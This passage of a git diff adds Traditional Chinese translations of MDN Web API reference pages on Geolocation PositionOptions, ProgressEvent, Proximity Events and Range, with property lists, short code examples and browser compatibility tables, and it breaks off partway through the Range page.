+<p><strong><code>PositionOptions</code></strong> 是一個當作 {{domxref("Geolocation.getCurrentPosition()")}} 以及 {{domxref("Geolocation.watchPosition()")}} 參數的物件，此物件含有幾種可以設定的屬性。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em><code>PositionOptions</code> </em>介面沒有繼承任何屬性</p>
+
+<dl>
+ <dt>{{domxref("PositionOptions.enableHighAccuracy")}}</dt>
+ <dd>是一個 {{domxref("Boolean")}} 的值。此值指出方法是否需要回傳最佳的結果。如果值為真且該裝置具備提供精準位置的能力，則方法會回傳最佳結果。必須注意的是最佳結果會導致較長的回應時間或者需要更多的電力耗損 (舉例來說擁有GPS晶片的手機)。相反來說，如果值為偽，<code>機器會因為回應時間較短以及消耗較少的電力達到資源節省</code>。預設值：偽。</dd>
+ <dt>{{domxref("PositionOptions.timeout")}}</dt>
+ <dd>這是一個正值，它代表機器能夠等待方法回傳位置的最長時間（單位是毫秒）。預設值是 <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>，代表 <code>getCurrentPosition()</code> 此方法在沒有可用的位置前不會有任何回覆。</dd>
+ <dt>{{domxref("PositionOptions.maximumAge")}}</dt>
+ <dd>這是一個正值，它代表可以接受暫存位置的最長時限（單位是毫秒）。如果設定為 0，代表機器必須回傳實際的當前位置而不能使用暫存位置。如果設定為 <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>，機器必定會回傳暫存位置而不考慮他的時限。預設值：0。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><code>PositionOptions</code> 介面沒有實現也沒有繼承任何方法。</p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#positionoptions', 'PositionOptions')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>{{domxref("Geolocation")}} 介面使用此物件。</li>
+</ul>
diff --git a/files/zh-tw/web/api/positionoptions/maximumage/index.html b/files/zh-tw/web/api/positionoptions/maximumage/index.html
new file mode 100644
index 0000000000..2f9d1cf48e
--- /dev/null
+++ b/files/zh-tw/web/api/positionoptions/maximumage/index.html
@@ -0,0 +1,93 @@
+---
+title: PositionOptions.maximumAge
+slug: Web/API/PositionOptions/maximumAge
+translation_of: Web/API/PositionOptions/maximumAge
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>PositionOptions.maximumAge</strong></code> 是一個正值，它代表可以接受暫存位置的最長期限（單位是毫秒）。如果設定為 0，代表機器必須回傳實際的當前位置而不能使用暫存位置。如果設定為 <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>， 機器必定會回傳暫存位置而不考慮他的期限。預設值：0。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>positionOptions</var>.maximumAge = <var>timeLength</var>
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#maximumage', 'PositionOptions.maximumAge')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>屬於 {{domxref("PositionOptions")}} 。</li>
+</ul>
diff --git a/files/zh-tw/web/api/positionoptions/timeout/index.html b/files/zh-tw/web/api/positionoptions/timeout/index.html
new file mode 100644
index 0000000000..f963a28764
--- /dev/null
+++ b/files/zh-tw/web/api/positionoptions/timeout/index.html
@@ -0,0 +1,93 @@
+---
+title: PositionOptions.timeout
+slug: Web/API/PositionOptions/timeout
+translation_of: Web/API/PositionOptions/timeout
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p>是一個正值，它代表機器能夠等待方法回傳位置的最長時間（單位是毫秒）。預設值是<code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>，代表 <code>getCurrentPosition()</code> 此方法在沒有可用的位置前不會有任何回覆。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>positionOptions</var>.timeout = <var>timeLength</var>
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#timeout', 'PositionOptions.timeout')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>屬於{{domxref("PositionOptions")}} 。</li>
+</ul>
diff --git a/files/zh-tw/web/api/progressevent/index.html b/files/zh-tw/web/api/progressevent/index.html
new file mode 100644
index 0000000000..250df9b338
--- /dev/null
+++ b/files/zh-tw/web/api/progressevent/index.html
@@ -0,0 +1,161 @@
+---
+title: ProgressEvent
+slug: Web/API/ProgressEvent
+translation_of: Web/API/ProgressEvent
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>The <strong><code>ProgressEvent</code></strong> interface represents events measuring progress of an underlying process, like an HTTP request (for an <code>XMLHttpRequest</code>, or the loading of the underlying resource of an {{HTMLElement("img")}}, {{HTMLElement("audio")}}, {{HTMLElement("video")}}, {{HTMLElement("style")}} or {{HTMLElement("link")}}).</p>
+
+<h2 id="建構式">建構式</h2>
+
+<dl>
+ <dt>{{domxref("ProgressEvent.ProgressEvent", "ProgressEvent()")}}</dt>
+ <dd>Creates a <code>ProgressEvent</code> event with the given parameters.</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>Also inherits properties from its parent {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("ProgressEvent.lengthComputable")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("Boolean")}} flag indicating if the total work to be done, and the amount of work already done, by the underlying process is calculable. In other words, it tells if the progress is measurable or not.</dd>
+ <dt>{{domxref("ProgressEvent.loaded")}} {{readonlyInline}}</dt>
+ <dd>Is an <code>unsigned long long</code> representing the amount of work already performed by the underlying process. The ratio of work done can be calculated with the property and <code>ProgressEvent.total</code>. When downloading a resource using HTTP, this only represent the part of the content itself, not headers and other overhead.</dd>
+ <dt>{{domxref("ProgressEvent.total")}} {{readonlyInline}}</dt>
+ <dd>Is an <code>unsigned long long</code> representing the total amount of work that the underlying process is in the progress of performing. When downloading a resource using HTTP, this only represent the content itself, not headers and other overhead.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+</dl>
+
+<p><em>Also inherits methods <em>from its parent {{domxref("Event")}}.</em></em></p>
+
+<dl>
+ <dt>{{domxref("ProgressEvent.initProgressEvent()")}} {{deprecated_inline}}{{non-Standard_inline}}</dt>
+ <dd>Initializes a <code>ProgressEvent</code> created using the deprecated {{domxref("Document.createEvent()", "Document.createEvent(\"ProgressEvent\")")}} method.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<p>The following example adds a <code>ProgressEvent</code> to a new {{domxref("XMLHTTPRequest")}} and uses it to display the status of the request.</p>
+
+<pre class="brush: js">  var progressBar = document.getElementById("p"),
+      client = new XMLHttpRequest()
+  client.open("GET", "magical-unicorns")
+  client.onprogress = function(pe) {
+    if(pe.lengthComputable) {
+      progressBar.max = pe.total
+      progressBar.value = pe.loaded
+    }
+  }
+  client.onloadend = function(pe) {
+    progressBar.value = pe.loaded
+  }
+  client.send()</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Progress Events', '#interface-progressevent', 'ProgressEvent')}}</td>
+   <td>{{Spec2('Progress Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>initProgressEvent()</code> {{non-standard_inline}}{{deprecated_inline}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>10.0</td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>initProgressEvent()</code> {{non-standard_inline}}{{deprecated_inline}}</td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>10.0</td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] This feature was implemented in Chrome 1.0, but removed in Chrome 17.0.</p>
+
+<p>[2] This feature was implemented in Gecko 1.9.1 {{geckoRelease("1.9.1")}}, but removed in Gecko 22 {{geckoRelease("22")}}.</p>
+
+<p>[3] This feature was removed at some point.</p>
+
+<p>[4] This feature was removed in Opera 15.0.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>The {{domxref("Event")}} base interface.</li>
+</ul>
diff --git a/files/zh-tw/web/api/proximity_events/index.html b/files/zh-tw/web/api/proximity_events/index.html
new file mode 100644
index 0000000000..f6464480f8
--- /dev/null
+++ b/files/zh-tw/web/api/proximity_events/index.html
@@ -0,0 +1,118 @@
+---
+title: Proximity
+slug: Web/API/Proximity_Events
+translation_of: Web/API/Proximity_Events
+---
+<p>{{ SeeCompatTable }}</p>
+<h2 id="摘要">摘要</h2>
+<p>近距 (Proximity) 事件可迅速感測出使用者靠近裝置，並迅速做出反應。舉例來說，當使用者接通來電並將裝置靠近耳朵時，智慧型手機隨即關閉螢幕。</p>
+<div class="note">
+ <p><strong>注意：</strong>顯然裝置必須具備近距感測器 (Proximity sensor)，此 API 才能發揮作用。而目前幾乎只有行動裝置搭載接近感測器。若裝置並未搭載感測器，則雖同樣可支援，但永遠不會觸發此類事件。</p>
+</div>
+<h2 id="近距事件">近距事件</h2>
+<p>只要近距感測器測得「裝置」與「物體」之間的距離改變時，就會通知瀏覽器這項變化。而只要瀏覽器獲得通知，隨即啟動 <a href="https://developer.mozilla.org/en-US/docs/Web/API/DeviceProximityEvent" title="/en-US/docs/Web/API/DeviceProximityEvent"><code>DeviceProximityEvent</code></a> 以因應任何變化；或啟動 <a href="https://developer.mozilla.org/en-US/docs/Web/API/UserProximityEvent" title="/en-US/docs/Web/API/UserProximityEvent"><code>UserProximityEvent</code></a> 以因應簡單的變化。</p>
+<p>透過 <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget.addEventListener" title="/en-US/docs/Web/API/EventTarget.addEventListener"><code>addEventListener</code></a> 函式 (使用 {{event("deviceproximity")}} 或 {{event("userproximity")}} 事件名稱)；或將事件處理器 (Event handler) 附掛至 <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.ondeviceproximity" title="/en-US/docs/Web/API/window.ondeviceproximity"><code>window.ondeviceproximity</code></a> 或 <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.onuserproximity" title="/en-US/docs/Web/API/window.onuserproximity"><code>window.onuserproximity</code></a> 屬性，均可於 <code>window 物件層級就擷取到此事件。</code></p>
+<p>在擷取事件之後，事件物件將可存取不同的資訊：</p>
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/DeviceProximityEvent" title="/en-US/docs/Web/API/DeviceProximityEvent"><code>DeviceProximityEvent</code></a> 事件透過本身的 <a href="https://developer.mozilla.org/en-US/docs/Web/API/DeviceProximityEvent.value" title="/en-US/docs/Web/API/DeviceProximityEvent.value"><code>value</code></a> 屬性，可提供裝置與物體之間的確實距離。另透過本身的 <a href="https://developer.mozilla.org/en-US/docs/Web/API/DeviceProximityEvent.min" title="/en-US/docs/Web/API/DeviceProximityEvent.min"><code>min</code></a> 與 <a href="https://developer.mozilla.org/en-US/docs/Web/API/DeviceProximityEvent.max" title="/en-US/docs/Web/API/DeviceProximityEvent.max"><code>max</code></a> 屬性，則能設定「裝置測得某物」的最近與最遠距離。</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/UserProximityEvent" title="/en-US/docs/Web/API/UserProximityEvent"><code>UserProximityEvent</code></a> 事件則提供粗略的距離，並以 Boolean 值呈現。物體靠近時，<a href="https://developer.mozilla.org/en-US/docs/Web/API/UserProximityEvent.near" title="/en-US/docs/Web/API/UserProximityEvent.near"><code>UserProximityEvent.near</code></a> 屬性即為 <code>true</code>；物體遠離則為 <code>false。</code></li>
+</ul>
+<h2 id="範例">範例</h2>
+<pre class="brush: js">window.addEventListener('userproximity', function(event) {
+  if (event.near) {
+    // let's power off the screen
+    navigator.mozPower.screenEnabled = false;
+  } else {
+    // Otherwise, let's power on the screen
+    navigator.mozPower.screenEnabled = true;
+  }
+});</pre>
+<h2 id="Specifications" name="Specifications">規格</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Proximity Events', '', 'Proximity Events') }}</td>
+   <td>{{ Spec2('Proximity Events') }}</td>
+   <td>Initial specification</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>{{domxref("DeviceProximityEvent")}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatVersionUnknown()}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatNo()}}</td>
+   </tr>
+   <tr>
+    <td>{{domxref("UserProximityEvent")}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatVersionUnknown()}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatNo()}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Chrome for Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>{{domxref("DeviceProximityEvent")}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{ CompatGeckoMobile("15.0") }}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatNo()}}</td>
+   </tr>
+   <tr>
+    <td>{{domxref("UserProximityEvent")}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatVersionUnknown()}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatNo()}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="另可參閱">另可參閱</h2>
+<ul>
+ <li>{{domxref("DeviceProximityEvent")}}</li>
+ <li>{{domxref("UserProximityEvent")}}</li>
+ <li>{{event("deviceproximity")}}</li>
+ <li>{{event("userproximity")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/range/index.html b/files/zh-tw/web/api/range/index.html
new file mode 100644
index 0000000000..35307c4628
--- /dev/null
+++ b/files/zh-tw/web/api/range/index.html
@@ -0,0 +1,249 @@
+---
+title: Range
+slug: Web/API/Range
+translation_of: Web/API/Range
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><strong><code>Range</code></strong> 介面代表一個文件的片段（fragment），可以包含節點及部分的文字節點。</p>
+
+<p>A range can be created using the {{ domxref("Document.createRange", "createRange()") }} method of the {{ domxref("Document") }} object. Range objects can also be retrieved by using the {{ domxref("Selection/getRangeAt", "getRangeAt()") }} method of the {{ domxref("Selection") }} object or the {{domxref("Document/caretRangeFromPoint", "caretRangeFromPoint()")}} method of the {{domxref("Document")}} object.</p>
+
+<p>There also is the {{domxref("Range.Range()", "Range()")}} constructor available.</p>
+
+<h2 id="Properties" name="Properties">屬性</h2>
+
+<p><em>There are no inherited properties.</em></p>
+
+<dl>
+ <dt>{{domxref("Range.collapsed")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating whether the range's start and end points are at the same position.</dd>
+ <dt>{{domxref("Range.commonAncestorContainer")}} {{readonlyInline}}</dt>
+ <dd>Returns the deepest {{ domxref("Node") }} that contains the <code>startContainer</code> and <code>endContainer</code> nodes.</dd>
+ <dt>{{domxref("Range.endContainer")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{ domxref("Node") }} within which the <code>Range</code> ends.</dd>
+ <dt>{{domxref("Range.endOffset")}} {{readonlyInline}}</dt>
+ <dd>Returns a number representing where in the <code>endContainer</code> the <code>Range</code> ends.</dd>
+ <dt>{{domxref("Range.startContainer")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{ domxref("Node") }} within which the <code>Range</code> starts.</dd>
+ <dt>{{domxref("Range.startOffset")}} {{readonlyInline}}</dt>
+ <dd>Returns a number representing where in the <code>startContainer</code> the <code>Range</code> starts.</dd>
+</dl>
+
+<h2 id="建構式">建構式</h2>
+
+<dl>
+ <dt>{{ domxref("Range.Range()", "Range()") }} {{experimental_inline}}</dt>
+ <dd>Returns a <code>Range</code> object with the global {{domxref("Document")}} as its start and end.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">方法</h2>
+
+<p><em>There are no inherited methods.</em></p>
+
+<dl>
+ <dt>{{ domxref("Range.setStart()")}}</dt>
+ <dd>Sets the start position of a <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.setEnd()")}}</dt>
+ <dd>Sets the end position of a <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.setStartBefore()")}}</dt>
+ <dd>Sets the start position of a <code>Range</code> relative to another {{ domxref("Node") }}.</dd>
+ <dt>{{ domxref("Range.setStartAfter()")}}</dt>
+ <dd>Sets the start position of a <code>Range</code> relative to another {{ domxref("Node") }}.</dd>
+ <dt>{{ domxref("Range.setEndBefore()")}}</dt>
+ <dd>Sets the end position of a <code>Range</code> relative to another {{ domxref("Node") }}.</dd>
+ <dt>{{ domxref("Range.setEndAfter()")}}</dt>
+ <dd>Sets the end position of a <code>Range</code> relative to another {{ domxref("Node") }}.</dd>
+ <dt>{{ domxref("Range.selectNode()")}}</dt>
+ <dd>Sets the <code>Range</code> to contain the {{ domxref("Node") }} and its contents.</dd>
+ <dt>{{ domxref("Range.selectNodeContents()")}}</dt>
+ <dd>Sets the <code>Range</code> to contain the contents of a {{ domxref("Node") }}.</dd>
+ <dt>{{ domxref("Range.collapse()")}}</dt>
+ <dd>Collapses the <code>Range</code> to one of its boundary points.</dd>
+ <dt>{{ domxref("Range.cloneContents()")}}</dt>
+ <dd>Returns a {{ domxref("DocumentFragment") }} copying the nodes of a <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.deleteContents()")}}</dt>
+ <dd>Removes the contents of a <code>Range</code> from the {{ domxref("Document") }}.</dd>
+ <dt>{{ domxref("Range.extractContents()")}}</dt>
+ <dd>Moves contents of a <code>Range</code> from the document tree into a {{ domxref("DocumentFragment") }}.</dd>
+ <dt>{{ domxref("Range.insertNode()")}}</dt>
+ <dd>Insert a {{ domxref("Node") }} at the start of a <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.surroundContents()")}}</dt>
+ <dd>Moves content of a <code>Range</code> into a new {{ domxref("Node") }}.</dd>
+ <dt>{{ domxref("Range.compareBoundaryPoints()")}}</dt>
+ <dd>Compares the boundary points of the <code>Range</code> with another <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.cloneRange()")}}</dt>
+ <dd>Returns a <code>Range</code> object with boundary points identical to the cloned <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.detach()")}}</dt>
+ <dd>Releases the <code>Range</code> from use to improve performance.</dd>
+ <dt>{{ domxref("Range.toString()")}}</dt>
+ <dd>Returns the text of the <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.compareNode()")}} {{ Obsolete_inline }}{{non-standard_inline}}</dt>
+ <dd>Returns a constant representing whether the {{domxref("Node")}} is before, after, inside, or surrounding the range.</dd>
+ <dt>{{ domxref("Range.comparePoint()")}} {{experimental_inline}}</dt>
+ <dd>Returns -1, 0, or 1 indicating whether the point occurs before, inside, or after the <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.createContextualFragment()")}}{{experimental_inline}}</dt>
+ <dd>Returns a {{ domxref("DocumentFragment") }} created from a given string of code.</dd>
+ <dt>{{ domxref("Range.getBoundingClientRect()") }} {{experimental_inline}}</dt>
+ <dd>Returns a {{ domxref("DOMRect") }} object which bounds the entire contents of the <code>Range</code>; this would be the union of all the rectangles returned by {{ domxref("range.getClientRects()") }}.</dd>
+ <dt>{{ domxref("Range.getClientRects()") }} {{experimental_inline}}</dt>
+ <dd>Returns a list of {{ domxref("DOMRect") }} objects that aggregates the results of {{ domxref("Element.getClientRects()") }} for all the elements in the <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.intersectsNode()")}} {{experimental_inline}}</dt>
+ <dd>Returns a <code>boolean</code> indicating whether the given node intersects the <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.isPointInRange()")}} {{experimental_inline}}</dt>
+ <dd>Returns a <code>boolean</code> indicating whether the given point is in the <code>Range</code>.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-range', 'Range')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Do not use <code>RangeException</code> anymore, use <code>DOMException</code> instead.<br>
+    Made the second parameter of <code>collapse()</code> optional.<br>
+    Added the methods <code>isPointInRange()</code>, <code>comparePoint()</code>, and <code>intersectsNode()</code>.<br>
+    Added the constructor <code>Range()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#extensions-to-the-range-interface', 'Extensions to Range')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Added the method <code>createContextualFragment()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-range-interface', 'Extensions to Range')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Added the methods <code>getClientRects()</code> and <code>getBoundingClientRect()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level-2-Range-Interface', 'Range')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
